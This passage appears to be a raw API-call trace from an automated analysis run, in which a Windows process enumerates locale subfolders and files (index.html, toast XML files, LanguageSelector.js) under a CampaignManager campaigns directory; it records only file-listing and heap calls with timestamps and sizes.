ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.471] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71249d00, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.471] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.471] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.471] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.471] FindClose (in: hFindFile=0x484bd8 | out: hFindFile=0x484bd8) returned 1 [0184.472] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.472] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0184.472] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.472] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.473] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.473] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9d9e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.473] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.473] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x174, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.474] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.474] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.474] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.475] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.475] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0184.475] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.475] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0184.476] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.476] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xaa3b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.476] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.476] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.476] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.476] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.476] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0184.477] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.477] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0184.477] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.478] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.482] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.482] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9fa2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.482] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.482] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.483] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.483] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.483] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.484] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.484] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xee2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageSelector.js", cAlternateFileName="LANGUA~1.JS")) returned 1 [0184.484] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lb-LU", cAlternateFileName="")) returned 1 [0184.484] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.484] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.486] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.486] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.487] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.487] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.487] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.487] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.487] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.488] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.488] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0184.488] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.488] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.490] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.490] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c77, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.491] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.491] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, 